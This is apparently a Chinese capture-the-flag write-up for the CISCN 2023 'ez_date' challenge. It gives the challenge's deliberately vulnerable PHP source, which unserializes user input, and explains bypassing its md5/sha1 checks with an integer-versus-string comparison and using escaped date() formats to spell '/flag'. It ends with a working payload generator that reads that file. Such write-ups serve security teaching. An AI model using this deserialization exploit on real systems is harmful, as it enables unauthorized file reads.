[CISCN 2023 华北]ez_date

  1. 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
     <?php
    error_reporting(0);
    highlight_file(__FILE__);
    class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
    if(is_array($this->a)||is_array($this->b)){
    die('no array');
    }
    if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
    $content=date($this->file);
    //uniqid函数用于生成标识
    $uuid=uniqid().'.txt';
    //文件写入操作 把content的内容写入的uuid中
    file_put_contents($uuid,$content);
    //正则匹配替换 把uuid中的内容进行替换 赋给data
    $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
    //输出data的内容
    echo file_get_contents($data);
    }
    else{
    die();
    }
    }
    }

    unserialize(base64_decode($_GET['code']));
  2. 分析

    一眼看过去就是个强行套娃的反序列化其实一点软用没有!

    • 首先过滤两个数组绕过md5的方式

      因此这里采用数字和字符串比较

      举例代码:

      1
      2
      3
      4
      5
      6
      7
      <?php
      if(sha1(12)===sha1('12')&&md5(1)===md5('1')){
      echo "绕过成功";
      }else{
      echo "绕过失败";
      }
      //绕过成功
    • 其次date()函数以及正则表达式的审计

      1
      2
      3
      4
      5
      $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
      (\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
      (\n)+: 匹配一个或多个换行符
      /i : 匹配时不区分大小写
      把上面匹配到的内容全部置换为空
  3. date()函数

    date函数就是用来格式化时间的,比如:

    1
    2
    3
    $str1='str';  
    print(date($str1));
    // 2331Mar, 04 Jul 2024 22:27:23 +0800

    而这题我们可以用date函数来写文件内容

    1
    2
    3
    $str='/f\l\a\g';  
    print(date($str));
    //结果是:/flag
  4. Payload(参考!懒得改了就绕过搞清楚就行)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php  
    class date{
    public $a;
    public $b;
    public $file;
    }
    $a=new date();
    $a->a=1;
    $a->b='1';
    $a->file='/f\l\a\g';
    echo base64_encode(serialize($a));
    ?>